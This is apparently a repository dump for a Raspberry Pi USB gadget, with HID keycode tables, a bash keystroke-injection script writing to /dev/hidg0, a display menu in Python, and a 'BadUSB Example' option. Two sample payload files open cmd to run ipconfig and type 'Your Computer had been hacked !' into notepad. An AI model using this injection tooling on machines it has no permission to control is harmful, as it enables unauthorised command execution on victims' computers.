153 | 8E Keyboard International822 154 | 8F Keyboard International922 155 | 90 Keyboard LANG125 156 | 91 Keyboard LANG226 157 | 92 Keyboard LANG330 158 | 93 Keyboard LANG431 159 | 94 Keyboard LANG532 160 | 95 Keyboard LANG68 161 | 96 Keyboard LANG78 162 | 97 Keyboard LANG88 163 | 98 Keyboard LANG98 164 | 99 Keyboard Alternate Erase 165 | 9A Keyboard SysReq/Attention 166 | 9B Keyboard Cancel 167 | 9C Keyboard Clear 168 | 9D Keyboard Prior 169 | 9E Keyboard Return 170 | 9F Keyboard Separator 171 | A0 Keyboard Out 172 | A1 Keyboard Oper 173 | A2 Keyboard Clear/Again 174 | A3 Keyboard CrSel/Props 175 | A4 Keyboard ExSel 176 | #B0 Keypad 00 177 | #B1 Keypad 000 178 | #B2 Thousands Separator 33 179 | #B3 Decimal Separator 33 180 | #B4 Currency Unit 34 181 | #B5 Currency Sub-unit 34 182 | #B6 Keypad ( 183 | #B7 Keypad ) 184 | #B8 Keypad { 185 | #B9 Keypad } 186 | #BA Keypad Tab 187 | #BB Keypad Backspace 188 | #BC Keypad A 189 | #BD Keypad B 190 | #BE Keypad C 191 | #BF Keypad D 192 | #C0 Keypad E 193 | #C1 Keypad F 194 | #C2 Keypad XOR 195 | #C3 Keypad ^ 196 | #C4 Keypad % 197 | #C5 Keypad < 198 | #C6 Keypad > 199 | #C7 Keypad & 200 | #C8 Keypad && 201 | #C9 Keypad | 202 | #CA Keypad || 203 | #CB Keypad : 204 | #CC Keypad # 205 | #CD Keypad Space 206 | #CE Keypad @ 207 | #CF Keypad ! 208 | #D0 Keypad Memory Store 209 | #D1 Keypad Memory Recall 210 | #D2 Keypad Memory Clear 211 | #D3 Keypad Memory Add 212 | #D4 Keypad Memory Subtract 213 | #D5 Keypad Memory Multiply 214 | #D6 Keypad Memory Divide 215 | #D7 Keypad +/- 216 | #D8 Keypad Clear 217 | #D9 Keypad Clear Entry 218 | #DA Keypad Binary 219 | #DB Keypad Octal 220 | #DC Keypad Decimal 221 | #DD Keypad Hexadecimal 222 | E0 Keyboard LeftControl 223 | E1 Keyboard LeftShift 224 | E2 Keyboard LeftAlt 225 | E3 Keyboard Left GUI 226 | E4 Keyboard RightControl 227 | E5 Keyboard RightShift 228 | E6 Keyboard RightAlt 229 | E7 Keyboard Right GUI 230 | 231 | -------------------------------------------------------------------------------- /keyboard/hid_key_value.txt: -------------------------------------------------------------------------------- 1 | 04 Keyboard a and A 2 | 05 Keyboard b and B 3 | 06 Keyboard c and C 4 | 07 Keyboard d and D 5 | 08 Keyboard e and E 6 | 09 Keyboard f and F 7 | 0A Keyboard g and G 8 | 0B Keyboard h and H 9 | 0C Keyboard i and I 10 | 0D Keyboard j and J 11 | 0E Keyboard k and K 12 | 0F Keyboard l and L 13 | 10 Keyboard m and M 14 | 11 Keyboard n and N 15 | 12 Keyboard o and O 16 | 13 Keyboard p and P 17 | 14 Keyboard q and Q 18 | 15 Keyboard r and R 19 | 16 Keyboard s and S 20 | 17 Keyboard t and T 21 | 18 Keyboard u and U 22 | 19 Keyboard v and V 23 | 1A Keyboard w and W 24 | 1B Keyboard x and X 25 | 1C Keyboard y and Y 26 | 1D Keyboard z and Z 27 | 1E Keyboard 1 and ! 28 | 1F Keyboard 2 and @ 29 | 20 Keyboard 3 and # 30 | 21 Keyboard 4 and $ 31 | 22 Keyboard 5 and % 32 | 23 Keyboard 6 and ^ 33 | 24 Keyboard 7 and & 34 | 25 Keyboard 8 and * 35 | 26 Keyboard 9 and ( 36 | 27 Keyboard 0 and ) 37 | 29 Keyboard ESCAPE 38 | 2A Keyboard DELETE 39 | 2B Keyboard Tab 40 | 2C Keyboard Spacebar 41 | 2D Keyboard - and _ 42 | 2E Keyboard = and + 43 | 2F Keyboard [ and { 44 | 30 Keyboard ] and } 45 | 31 Keyboard \ and | 46 | 32 Keyboard Non-US # and ~ 47 | 33 Keyboard ; and : 48 | 34 Keyboard ‘ and “ 49 | 35 Keyboard Grave Accent and Tilde 50 | 36 Keyboard, and < 51 | 37 Keyboard . and > 52 | 38 Keyboard / and ? 53 | 39 Keyboard Caps Lock 54 | 3A Keyboard F1 55 | 3B Keyboard F2 56 | 3C Keyboard F3 57 | 3D Keyboard F4 58 | 3E Keyboard F5 59 | 3F Keyboard F6 60 | 40 Keyboard F7 61 | 41 Keyboard F8 62 | 42 Keyboard F9 63 | 43 Keyboard F10 64 | 44 Keyboard F11 65 | 45 Keyboard F12 66 | 46 Keyboard PrintScreen 67 | 47 Keyboard Scroll Lock 68 | 48 Keyboard Pause 69 | 49 Keyboard Insert 70 | 4A Keyboard Home 71 | 4B Keyboard PageUp 72 | 4C Keyboard Delete Forward 73 | 4D Keyboard End 74 | 4E Keyboard PageDown 75 | 4F Keyboard RightArrow 76 | 50 Keyboard LeftArrow 77 | 51 Keyboard DownArrow 78 | 52 Keyboard UpArrow 79 | 64 Keyboard Non-US \ and | 80 | 65 Keyboard Application 81 | 66 Keyboard Power 82 | 68 Keyboard F13 83 | 69 Keyboard F14 84 | 6A Keyboard F15 85 | 6B Keyboard F16 86 | 6C Keyboard F17 87 | 6D Keyboard F18 88 | 6E Keyboard F19 89 | 6F Keyboard F20 90 | 70 Keyboard F21 91 | 71 Keyboard F22 92 | 72 Keyboard F23 93 | 73 Keyboard F24 94 | 74 Keyboard Execute 95 | 75 Keyboard Help 96 | 76 Keyboard Menu 97 | 77 Keyboard Select 98 | 78 Keyboard Stop 99 | 79 Keyboard Again 100 | 7A Keyboard Undo 101 | 7B Keyboard Cut 102 | 7C Keyboard Copy 103 | 7D Keyboard Paste 104 | 7E Keyboard Find 105 | 7F Keyboard Mute 106 | 80 Keyboard Volume Up 107 | 81 Keyboard Volume Down 108 | 82 Keyboard Locking Caps Lock 109 | 83 Keyboard Locking Num Lock 110 | 84 Keyboard Locking Scroll Lock 111 | 87 Keyboard International115 112 | 88 Keyboard International216 113 | 89 Keyboard International317 114 | 8A Keyboard International418 115 | 8B Keyboard International519 116 | 8C Keyboard International620 117 | 8D Keyboard International721 118 | 8E Keyboard International822 119 | 8F Keyboard International922 120 | 90 Keyboard LANG125 121 | 91 Keyboard LANG226 122 | 92 Keyboard LANG330 123 | 93 Keyboard LANG431 124 | 94 Keyboard LANG532 125 | 95 Keyboard LANG68 126 | 96 Keyboard LANG78 127 | 97 Keyboard LANG88 128 | 98 Keyboard LANG98 129 | 99 Keyboard Alternate Erase 130 | 9A Keyboard SysReq/Attention 131 | 9B Keyboard Cancel 132 | 9C Keyboard Clear 133 | 9D Keyboard Prior 134 | 9E Keyboard Return 135 | 9F Keyboard Separator 136 | A0 Keyboard Out 137 | A1 Keyboard Oper 138 | A2 Keyboard Clear/Again 139 | A3 Keyboard CrSel/Props 140 | A4 Keyboard ExSel 141 | E0 Keyboard LeftControl 142 | E1 Keyboard LeftShift 143 | E2 Keyboard LeftAlt 144 | E3 Keyboard Left GUI 145 | E4 Keyboard RightControl 146 | E5 Keyboard RightShift 147 | E6 Keyboard RightAlt 148 | E7 Keyboard Right GUI 149 | -------------------------------------------------------------------------------- /keyboard/open_cmd.cmd2run: -------------------------------------------------------------------------------- 1 | GUI r 2 | DELAY 0.01 3 | STRING cmd 4 | DELAY 0.01 5 | ENTER 6 | DELAY 0.01 7 | ENTER 8 | DELAY 0.1 9 | STRING ipconfig 10 | DELAY 0.1 11 | ENTER 12 | DELAY 0.01 13 | ENTER 14 | DELAY 0.01 15 | -------------------------------------------------------------------------------- /keyboard/read_input.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ############################################### 3 | # Filename : read_input.sh 4 | # Author : PedroQin 5 | # Email : pedro.hq.qin@mail.foxconn.com 6 | # Date : 2020-01-31 08:46:25 7 | # Description : 8 | # Version : 1.0.0 9 | ############################################### 10 | 11 | 12 | # Test if is Root 13 | if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi 14 | 15 | whereami=`cd $(dirname $0);pwd` 16 | 17 | dict=" 18 | \0\x4\0\0\0\0\0<-->a 19 | \0\x5\0\0\0\0\0<-->b 20 | \0\x6\0\0\0\0\0<-->c 21 | \0\x7\0\0\0\0\0<-->d 22 | \0\x8\0\0\0\0\0<-->e 23 | \0\x9\0\0\0\0\0<-->f 24 | \0\xa\0\0\0\0\0<-->g 25 | \0\xb\0\0\0\0\0<-->h 26 | \0\xc\0\0\0\0\0<-->i 27 | \0\xd\0\0\0\0\0<-->j 28 | \0\xe\0\0\0\0\0<-->k 29 | \0\xf\0\0\0\0\0<-->l 30 | \0\x10\0\0\0\0\0<-->m 31 | \0\x11\0\0\0\0\0<-->n 32 | \0\x12\0\0\0\0\0<-->o 33 | \0\x13\0\0\0\0\0<-->p 34 | \0\x14\0\0\0\0\0<-->q 35 | \0\x15\0\0\0\0\0<-->r 36 | \0\x16\0\0\0\0\0<-->s 37 | \0\x17\0\0\0\0\0<-->t 38 | \0\x18\0\0\0\0\0<-->u 39 | \0\x19\0\0\0\0\0<-->v 40 | \0\x1a\0\0\0\0\0<-->w 41 | \0\x1b\0\0\0\0\0<-->x 42 | \0\x1c\0\0\0\0\0<-->y 43 | \0\x1d\0\0\0\0\0<-->z 44 | \0\x1e\0\0\0\0\0<-->1 45 | \0\x1f\0\0\0\0\0<-->2 46 | \0\x20\0\0\0\0\0<-->3 47 | \0\x21\0\0\0\0\0<-->4 48 | \0\x22\0\0\0\0\0<-->5 49 | \0\x23\0\0\0\0\0<-->6 50 | \0\x24\0\0\0\0\0<-->7 51 | \0\x25\0\0\0\0\0<-->8 52 | \0\x26\0\0\0\0\0<-->9 53 | \0\x27\0\0\0\0\0<-->0 54 | " 55 | 56 | delay=0.001 57 | 58 | function press_one_key() 59 | { 60 | pre_fix="$1" 61 | shift 62 | str_tmp="$@" 63 | for i in `seq 0 $(echo "$str_tmp"|wc -L)`;do 64 | c=${str_tmp:$i:1} 65 | [ -z "$c" ] && break 66 | cmd="<-->$c" 67 | #echo "$dict"|grep -F "$cmd"|head -1|awk -F'<-->' '{print $1}' 68 | keycode=`echo "$dict"|grep -F "$cmd" |head -1|awk -F'<-->' '{print $1}'` 69 | if [ -z "$keycode" ] ;then 70 | echo "Can't find '$c' 's keycode in dict!" 71 | exit 1 72 | fi 73 | #echo "$pre_fix""$keycode" 74 | echo -ne "$pre_fix""$keycode" > /dev/hidg0 75 | sleep $delay 76 | echo -ne "\0\0\0\0\0\0\0\0" > /dev/hidg0 77 | sleep $delay 78 | done 79 | } 80 | 81 | function get_ctl() 82 | { 83 | echo "$@"|grep -Eq "[A-Z]" 84 | if [ $? -eq 0 ]; then 85 | echo "control char can't be Upper !" 86 | echo "$@" 87 | else 88 | press_one_key $@ 89 | fi 90 | } 91 | 92 | function input_string() 93 | { 94 | #echo "$@" | while read line;do 95 | echo -n "$@" | $whereami/scan /dev/hidg0 1 1 96 | #done 97 | } 98 | 99 | function press_enter() 100 | { 101 | echo -ne "\0\0\x58\0\0\0\0\0" > /dev/hidg0 102 | sleep $delay 103 | echo -ne "\0\0\0\0\0\0\0\0" > /dev/hidg0 104 | sleep $delay 105 | } 106 | 107 | function get_cmd() 108 | { 109 | #BYTE1 -- 110 | #|--bit0: Left Control 111 | #|--bit1: Left Shift 112 | #|--bit2: Left Alt 113 | #|--bit3: Left GUI 114 | #|--bit4: Right Control 115 | #|--bit5: Right Shift 116 | #|--bit6: Right Alt 117 | #|--bit7: Right GUI 118 | 119 | # we declare the line head: CONTROL / ALT / SHIFT / GUI / STRING / DELAY / ENTER / EXIT 120 | echo "$@" | while read line;do 121 | case ${line:0:3} in 122 | CON) 123 | prefix="\x1" 124 | press_one_key "$prefix" "${line#* }" 125 | #press_enter 126 | ;; 127 | ALT) 128 | prefix="\x4" 129 | press_one_key "$prefix" "${line#* }" 130 | #press_enter 131 | ;; 132 | SHI) 133 | prefix="\x2" 134 | press_one_key "$prefix" "${line#* }" 135 | #press_enter 136 | ;; 137 | GUI) 138 | prefix="\x08" 139 | press_one_key "$prefix" "${line#* }" 140 | ;; 141 | REM) 142 | continue 143 | ;; 144 | STR) 145 | input_string "${line#* }" 146 | ;; 147 | ENT) 148 | press_enter 149 | ;; 150 | DEL) 151 | sleep "${line#* }" 152 | ;; 153 | EXI) 154 | return 155 | ;; 156 | *) 157 | input_string "${line}" 158 | ;; 159 | esac 160 | done 161 | } 162 | 163 | function console_mode() 164 | { 165 | head_str="input mode" 166 | while ((1));do 167 | 168 | read -p "$head_str > " input_str 169 | [ -z "$input_str" ] && get_cmd ENTER && continue 170 | [ "$input_str" == "byebye" ] && break 171 | get_cmd "$input_str" 172 | if [ "${input_str:0:3}" != "CON" ] &&[ "${input_str:0:3}" != "ALT" ] && [ "${input_str:0:3}" != "SHI" ] && [ "${input_str:0:3}" != "GUI" ] && [ "${input_str:0:3}" != "ENT" ] && [ "${input_str:0:3}" != "DEL" ] && [ "${input_str:0:3}" != "EXI" ] ;then 173 | get_cmd ENTER 174 | fi 175 | 176 | done 177 | 178 | } 179 | 180 | case $1 in 181 | -f|--file) 182 | shift 183 | file="${1}" 184 | [ ! -f "$file" ] && echo "Can't find file: $file !" && exit 1 185 | get_cmd "$(cat $file)" 186 | ;; 187 | 188 | -c|--console) 189 | console_mode 190 | ;; 191 | 192 | *) 193 | echo "Default mode : console " 194 | console_mode 195 | ;; 196 | esac 197 | -------------------------------------------------------------------------------- /keyboard/scan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/keyboard/scan -------------------------------------------------------------------------------- /keyboard/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Test if is Root 4 | if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi 5 | 6 | # Enable dwc2 on the Pi 7 | #echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt 8 | 9 | # Enable dwc2 initialisation 10 | echo "dwc2" | sudo tee -a /etc/modules 11 | 12 | # Install service 13 | cp enable_hid.service /lib/systemd/system/ 14 | 15 | # Install script 16 | cp enable_hid.sh /usr/bin/ 17 | chmod +x /usr/bin/enable_hid.sh 18 | 19 | # Enable service 20 | systemctl enable enable_hid.service 21 | -------------------------------------------------------------------------------- /keyboard/write_warning.cmd2run: -------------------------------------------------------------------------------- 1 | GUI r 2 | DELAY 0.01 3 | STRING notepad 4 | DELAY 0.1 5 | ENTER 6 | DELAY 0.1 7 | Your Computer had been hacked ! 8 | DELAY 0.1 9 | ENTER 10 | DELAY 0.01 11 | -------------------------------------------------------------------------------- /keyboard/write_warning_linux.cmd2run: -------------------------------------------------------------------------------- 1 | Your Computer had been hacked ! 2 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf8 -*- 3 | ############################################### 4 | # Filename : main.py 5 | # Author : PedroQin 6 | # Email : pedro.hq.qin@mail.foxconn.com 7 | # Date : 2020-01-23 11:50:55 8 | # Version : 1.0.1 9 | # Description : 10 | ############################################### 11 | 12 | import spidev as SPI 13 | import ST7789 14 | import time,os,sys,logging 15 | import RPi.GPIO as GPIO 16 | from PIL import Image,ImageDraw,ImageFont 17 | 18 | # Raspberry Pi pin configuration: 19 | RST = 27 20 | DC = 25 21 | BL = 24 22 | BUS = 0 23 | DEVICE = 0 24 | 25 | KEY_UP_PIN = 6 26 | KEY_DOWN_PIN = 19 27 | KEY_LEFT_PIN = 5 28 | KEY_RIGHT_PIN = 26 29 | KEY_PRESS_PIN = 13 30 | 31 | KEY1_PIN = 21 32 | KEY2_PIN = 20 33 | KEY3_PIN = 16 34 | 35 | # 240x240 display with hardware SPI: 36 | disp = ST7789.ST7789(SPI.SpiDev(BUS, DEVICE),RST, DC, BL) 37 | disp.Init() # Initialize library. 38 | disp.clear() # Clear display. 39 | 40 | #init GPIO 41 | GPIO.setmode(GPIO.BCM) 42 | GPIO.setup(KEY_UP_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 43 | GPIO.setup(KEY_DOWN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 44 | GPIO.setup(KEY_LEFT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 45 | GPIO.setup(KEY_RIGHT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 46 | GPIO.setup(KEY_PRESS_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 47 | GPIO.setup(KEY1_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 48 | GPIO.setup(KEY2_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 49 | GPIO.setup(KEY3_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 50 | 51 | whereami = os.path.dirname(os.path.abspath(__file__)) 52 | 53 | # Create blank image for drawing. 54 | #image1 = Image.new("RGB", (disp.width, disp.height), "WHITE") 55 | image1 = Image.open(os.path.join(whereami,"pic/bg.jpg")) 56 | draw = ImageDraw.Draw(image1) 57 | draw.line([(5,5),(235,5)], fill = "BLACK",width = 5) 58 | draw.line([(235,5),(235,235)], fill = "BLACK",width = 5) 59 | draw.line([(235,235),(5,235)], fill = "BLACK",width = 5) 60 | draw.line([(5,235),(5,5)], fill = "BLACK",width = 5) 61 | 62 | 63 | #my_font1 = ImageFont.truetype(os.path.join(whereami,"UniTortred.ttf"), 16) 64 | my_font0 = ImageFont.truetype(os.path.join(whereami,"font/Soopafresh.ttf"), 80) 65 | my_font1 = ImageFont.truetype(os.path.join(whereami,"font/Soopafresh.ttf"), 20) 66 | my_font2 = ImageFont.truetype(os.path.join(whereami,"font/Soopafresh.ttf"), 16) 67 | #my_font3 = ImageFont.truetype(os.path.join(whereami,"font/Bodoni_Bold_Italic.ttf"), 12) 68 | #my_font3 = ImageFont.truetype(os.path.join(whereami,"font/Soopafresh.ttf"), 12) 69 | my_font3 = ImageFont.truetype(os.path.join(whereami,"font/Geometr.ttf"), 12) 70 | 71 | # history 72 | all_centent=[] 73 | max_lines_can_be_shown=17 74 | 75 | # title -> command 76 | menu_str=""" 77 | 1. Get Status -> ./get_info.sh Get_Status 78 | 2. U Disk Mode -> ./get_info.sh U-DiskMode 79 | 3. Ether Mode -> ./get_info.sh EtherMode 80 | 4. AP Mode -> ./get_info.sh EnableAP 81 | 5. Keyboard Mode -> ./get_info.sh PI-as-keyboard 82 | 6. Flash U Disk -> ./get_info.sh Flash_U_Disk 83 | 7. Re-GetIP -> ./get_info.sh Re-GetIP 84 | 8. Cat Cmdline -> ./get_info.sh CatCmdline 85 | 9. Cat WlanCfg -> ./get_info.sh CatWlanCfg 86 | 10. BadUSB Example -> ./get_info.sh BadUSB_Example 87 | 11. Export Log -> ./get_info.sh Export_log %s 88 | 12. REBOOT -> sync;reboot 89 | 13. POWEROFF -> sync;poweroff 90 | 14. EXIT -> exit 91 | """ 92 | 93 | # menu list 94 | menu=[] 95 | cmd=[] 96 | select_index=0 97 | cur_display_first=1 98 | for str_tmp in menu_str.split("\n"): 99 | if not str_tmp : continue 100 | menu.append(str_tmp.split("->")[0].rstrip()) 101 | cmd.append(str_tmp.split("->")[1]) 102 | 103 | # logger 104 | logger = logging.getLogger() 105 | logger.setLevel(logging.DEBUG) 106 | log_name = os.path.join("/tmp","main_" + time.strftime("%Y%m%d%H%M%S", time.localtime()) + ".log") 107 | file_handler = logging.FileHandler(filename = log_name,mode="w") 108 | file_handler.setLevel(logging.DEBUG) 109 | console_hander = logging.StreamHandler() 110 | console_hander.setLevel(logging.DEBUG) 111 | 112 | formatter = logging.Formatter("%(asctime)s %(name)s %(levelname)s %(message)s") 113 | file_handler.setFormatter(formatter) 114 | console_hander.setFormatter(formatter) 115 | logger.addHandler(file_handler) 116 | logger.addHandler(console_hander) 117 | 118 | #key without jitter 119 | interval_second=0.05 120 | 121 | def format_str(input_str,skip_null=0,line_number=0): 122 | line_max_width=220 123 | result_str=[] 124 | index=0 125 | for str_tmp in input_str.split("\n"): 126 | if skip_null : 127 | if not str_tmp : continue 128 | index += 1 129 | if line_number: str_tmp = str(index) + " " + str_tmp 130 | cur_width,cur_height=my_font3.getsize(str_tmp) 131 | if cur_width <= line_max_width: 132 | result_str.append(str_tmp) 133 | else: 134 | new_line='' 135 | for char in str_tmp: 136 | new_line += char 137 | cur_width,cur_height=my_font3.getsize(new_line) 138 | if cur_width > line_max_width: 139 | result_str.append(new_line) 140 | new_line=' ' 141 | else: continue 142 | result_str.append(new_line) 143 | return result_str 144 | 145 | # the header had use 50 146 | def draw_header(color="YELLOW"): 147 | # say hello 148 | image = Image.open(os.path.join(whereami,"pic/hi.jpg")) 149 | disp.ShowImage(image,0,0) 150 | 151 | # Draw a white filled box to clear the image 152 | draw.text((10, 10), 'IP :', fill = color, font=my_font1) 153 | draw.text((10, 30), os.popen("ip1=$(ifconfig wlan0 | awk '/inet / {print $2}');ip2=$(ifconfig usb0 2>/dev/null| awk '/inet / {print $2}');echo ${ip1:-$ip2}").read(), fill = color, font=my_font2) 154 | draw.text((120, 10), 'MODE :', fill = color, font=my_font1) 155 | draw.text((120, 30), os.popen("cat /proc/cmdline |grep -oE 'modules-load=[0-9a-z,_]+'|cut -d= -f2").read(), fill = color, font=my_font2) 156 | draw.line([(5,50),(235,50)], fill = "BLACK",width = 5) 157 | 158 | # load average and temperature, three colors for three ranges 159 | def draw_bottom(): 160 | load_info = os.popen("cat /proc/loadavg|cut -d ' ' -f'-3'").read() 161 | min_load = float(load_info.split()[0]) 162 | if min_load >= 1: 163 | color="RED" 164 | elif min_load >= 0.75 and min_load < 1.0: 165 | color="GOLD" 166 | else: 167 | color="BLUE" 168 | draw.text((10, 225), "Load: " + load_info, fill = color) 169 | temp_info = os.popen('echo "scale=3;$(cat /sys/class/thermal/thermal_zone0/temp)/1000" | bc').read() 170 | temp2float = float(temp_info) 171 | if temp2float >= 50: 172 | color="RED" 173 | elif temp2float >= 45 and temp2float < 50: 174 | color="GOLD" 175 | else: 176 | color="BLUE" 177 | draw.text((150, 225),"Temp: " + temp_info, fill = color) 178 | 179 | 180 | # begin >= 0:begin at $begin line of centent ,-1 begin at end 181 | def draw_str(centent,begin=0,selected=0,color="BLUE"): 182 | x_offset = 10 183 | y_offset = 50 184 | single_line_height = 10 185 | max_width=220 186 | index_cur=0 187 | if begin >= 0 : 188 | centent=centent[begin:begin+max_lines_can_be_shown] 189 | elif begin < 0 : 190 | centent=centent[-max_lines_can_be_shown:] 191 | for line in centent: 192 | if index_cur == selected: 193 | draw.rectangle((x_offset,y_offset+(index_cur)*single_line_height,x_offset+max_width,y_offset+(index_cur+1)*single_line_height),fill = "RED", outline=0) 194 | draw.text((x_offset, y_offset+(index_cur)*single_line_height), line, fill = color, font=my_font3) 195 | index_cur += 1 196 | 197 | # begin at 50 , end at 235, minus the lines used by bottom :10 ,so draw_info begin at (5,50) and end at (225,225), width :220 , height 175 198 | # max lines : 17 199 | def draw_info(info_str,color="BLUE"): 200 | global all_centent,cur_display_first,select_index 201 | draw.rectangle((5,50,235,235), fill = "WHITE", outline=0) 202 | draw_bottom() 203 | all_centent.extend(info_str) 204 | 205 | if select_index + 1 - max_lines_can_be_shown > cur_display_first : 206 | cur_display_first = select_index + 1 - max_lines_can_be_shown 207 | elif select_index - cur_display_first <= 0 : 208 | cur_display_first = select_index 209 | draw_str(all_centent , begin = cur_display_first , selected=select_index - cur_display_first,color=color) 210 | disp.ShowImage(image1,0,0) 211 | 212 | # show list / show cmd is different 213 | def show(source_list,run_cmd=0): 214 | global select_index,cur_display_first,all_centent 215 | # clear all_centent 216 | all_centent=[] 217 | 218 | options_num=len(source_list) 219 | select_index = select_index % options_num 220 | if not run_cmd: 221 | draw_info(source_list) 222 | else: 223 | logger.debug("select: " + str(select_index) + " tittle: " + menu[select_index] + " cmd: " + cmd[select_index]) 224 | command_str=cmd[select_index] 225 | if command_str.find("Export_log") > 0: 226 | command_str=command_str % log_name 227 | if command_str.strip() == "exit" : 228 | image = Image.open(os.path.join(whereami,"pic/bye.jpg")) 229 | disp.ShowImage(image,0,0) 230 | sys.exit(0) 231 | elif command_str.find("poweroff") > 0: 232 | image = Image.open(os.path.join(whereami,"pic/bye.jpg")) 233 | disp.ShowImage(image,0,0) 234 | cmd_result=os.popen(command_str).read() 235 | else: 236 | select_index_bp=select_index 237 | cur_display_first_bp=cur_display_first 238 | select_index=0 239 | cur_display_first=1 240 | draw_info(format_str("Command: \n" + command_str)) 241 | draw_info(format_str("Waiting...")) 242 | cmd_result=os.popen(command_str).read() 243 | logger.debug("Command:\n" + command_str + "\n" + cmd_result) 244 | draw_info(format_str("Result: \n" + cmd_result)) 245 | draw_info(format_str("complete")) 246 | listen_kbd(all_centent,enable_ok=0) 247 | select_index=select_index_bp 248 | cur_display_first=cur_display_first_bp 249 | show(menu) 250 | 251 | def save_image(image,path="/mnt",color="GREEN"): 252 | image_name=os.path.join(path,"image_" + time.strftime("%Y%m%d%H%M%S", time.localtime()) + ".jpg") 253 | image.save(image_name, quality=95) 254 | info_str="%s Saved !" % image_name 255 | logger.debug(info_str) 256 | draw_info(format_str(info_str),color) 257 | 258 | def listen_kbd(source_list,enable_ok=1,enable_cancel=1): 259 | global select_index 260 | while 1: 261 | if not GPIO.input(KEY_UP_PIN): 262 | select_index -= 1 263 | show(source_list) 264 | time.sleep(interval_second) 265 | 266 | if not GPIO.input(KEY_LEFT_PIN): 267 | select_index -= 1 268 | show(source_list) 269 | time.sleep(interval_second) 270 | 271 | if not GPIO.input(KEY_RIGHT_PIN): 272 | select_index += 1 273 | show(source_list) 274 | time.sleep(interval_second) 275 | 276 | if not GPIO.input(KEY_DOWN_PIN): 277 | select_index += 1 278 | show(source_list) 279 | time.sleep(interval_second) 280 | 281 | if not GPIO.input(KEY_PRESS_PIN): 282 | logger.debug("KEY,center") 283 | save_image(image1) 284 | time.sleep(interval_second) 285 | 286 | if not GPIO.input(KEY1_PIN): 287 | if not enable_ok: continue 288 | logger.debug("KEY1,ok") 289 | show(source_list,1) 290 | time.sleep(interval_second) 291 | 292 | if not GPIO.input(KEY2_PIN): 293 | if not enable_cancel: continue 294 | logger.debug("KEY2,cancel") 295 | time.sleep(interval_second) 296 | break 297 | 298 | if not GPIO.input(KEY3_PIN): 299 | logger.debug("KEY3,reset") 300 | time.sleep(interval_second) 301 | 302 | if __name__ == "__main__": 303 | draw_header() 304 | show(menu) 305 | listen_kbd(menu,enable_cancel=0) 306 | -------------------------------------------------------------------------------- /pic/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/pic/bg.jpg -------------------------------------------------------------------------------- /pic/bye.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/pic/bye.jpg -------------------------------------------------------------------------------- /pic/hi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/pic/hi.jpg --------------------------------------------------------------------------------